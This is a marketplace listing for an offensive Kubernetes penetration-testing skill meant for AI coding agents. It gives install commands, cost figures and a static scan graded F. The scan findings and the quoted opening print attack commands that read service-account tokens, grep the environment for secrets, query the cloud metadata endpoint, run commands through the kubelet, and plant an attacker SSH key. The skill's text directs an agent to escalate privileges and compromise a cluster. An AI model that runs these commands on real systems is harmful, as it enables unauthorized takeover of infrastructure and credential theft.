offensive-k8s-attacks

offensive-k8s-attacks is a skill for Claude Code, Codex from Miosa-osa/OSA. It costs 207 tokens per session (7,662 once invoked), scanned F, original, Apache-2.0.

A security testing guide for Kubernetes, a system that runs and manages application containers. It follows attacks from a compromised container, called a pod, toward wider control of the cluster.

In plain words
What is it for?
Assessing Kubernetes role permissions, service-account tokens, role bindings, pod-to-cluster escalation paths, and direct access to the etcd data store.
Why use it?
It helps identify overly broad permissions, stolen service-account credentials, and unsafe access to Kubernetes control data.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: positional $N argument.

Good fit Assessing Kubernetes role permissions, service-account tokens, role bindings, pod-to-cluster escalation paths, and direct access to the etcd data store.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/miosa-osa/osa/offensive-k8s-attacks
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add Miosa-osa/OSA --skill offensive-k8s-attacks
Clone the repo
git clone --depth 1 https://github.com/Miosa-osa/OSA

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for offensive-k8s-attacks

README.md
[![agentmods](https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-k8s-attacks/github.svg)](https://agentmods.dev/skills/miosa-osa/osa/offensive-k8s-attacks)
Your own site
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-k8s-attacks"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-k8s-attacks/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for offensive-k8s-attacks

Your own site · 80×15
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-k8s-attacks"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-k8s-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 207 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 7,662 The whole file, excluding the scripts and references it only reads on demand.
Security scan F 6 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00207 $0.07662
Opus 5.5 $0.00083 $0.03065
Sonnet 5.5 $0.00041 $0.01532
Haiku 4.5 $0.00021 $0.00766

Measured 2mo ago against content hash 3c70aa3b5fe5, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade F, and why

offensive-k8s-attacks scanned grade F with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER -d "cmd=id" -H "Authorization: Bearer $TOKEN"

Harvests environment variableshighData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

env | grep -i token

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keys

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -s http://NODE_IP:10255/pods | python3 -m json.tool

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

curl -s http://169.254.169.254/latest/meta-data/ # AWS

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

# If not, use curl with the service account token
priv/skills/offensive-k8s-attacks/SKILL.md · 849 lines

How it starts

The opening of the file, as written. The whole thing — 849 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Kubernetes Cluster Attacks

You have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques.

Quick Workflow

  1. Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file.
  2. Enumerate service account permissions, cluster roles, and accessible resources.
  3. Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access.
  4. Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts.
  5. Extract secrets, pivot to other namespaces, and target the control plane.
  6. Leverage cloud metadata or etcd access for infrastructure-wide compromise.

Phase 1: Initial Enumeration

Determining Your Position

# Check if you are inside a pod
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Environment variables set by Kubernetes
env | grep -i kube
env | grep -i kubernetes

# Service host and port are injected into every pod
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT

# DNS resolution for API server
nslookup kubernetes.default.svc.cluster.local

# Determine if kubectl is available
which kubectl 2>/dev/null
# If not, use curl with the service account token

Setting Up API Access Without kubectl

# Extract token and CA certificate
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

# Test API access
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces

# Shorthand function for repeated use
k8s_api() {
  curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
    "${APISERVER}$1"
}

# Check your identity
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews" \
  -X POST -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"TokenReview\",\"spec\":{\"token\":\"${TOKEN}\"}}"

Read the full file on GitHub · 849 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 849 lines · 207 tokens per session scan F 3c70aa3b5fe5

Subscribe to this mod's changes

offensive-k8s-attacks is a skill published in the GitHub repository Miosa-osa/OSA (82 stars, last pushed 4d ago), licensed Apache-2.0. It adds 207 tokens to every session and 7,662 once invoked, about $0.0008 per session on Opus 5.5. A static security scan graded it F with 6 findings (sends data to an external url, harvests environment variables, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-14.

Related

offensive-k8s-attacks compared with skills from other repositories

offensive-k8s-attacks next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
offensive-k8s-attacksMiosa-osa/OSASkill824d agoApache-2.0F207Claude Code, Codex
docker-managementNousResearch/hermes-agentSkill268ktodayMITA14Claude Code, Codex
docker-patternsaffaan-m/ECCSkill316k2d agoMITA40Claude Code, Kiro
deploymentmatrixorigin/memoriaSkill6318d agoApache-2.0A28Claude Code, Codex
devops-deploymentyonatangross/orchestkitSkill313yesterdayMITA34Claude Code
1panel-app-builderarch3rPro/1Panel-AppstoreSkill240yesterdayMITA50Claude Code, Codex
platform-engineeringmagnus919/agent-skillsSkill2042d agoMITA105Claude Code, Codex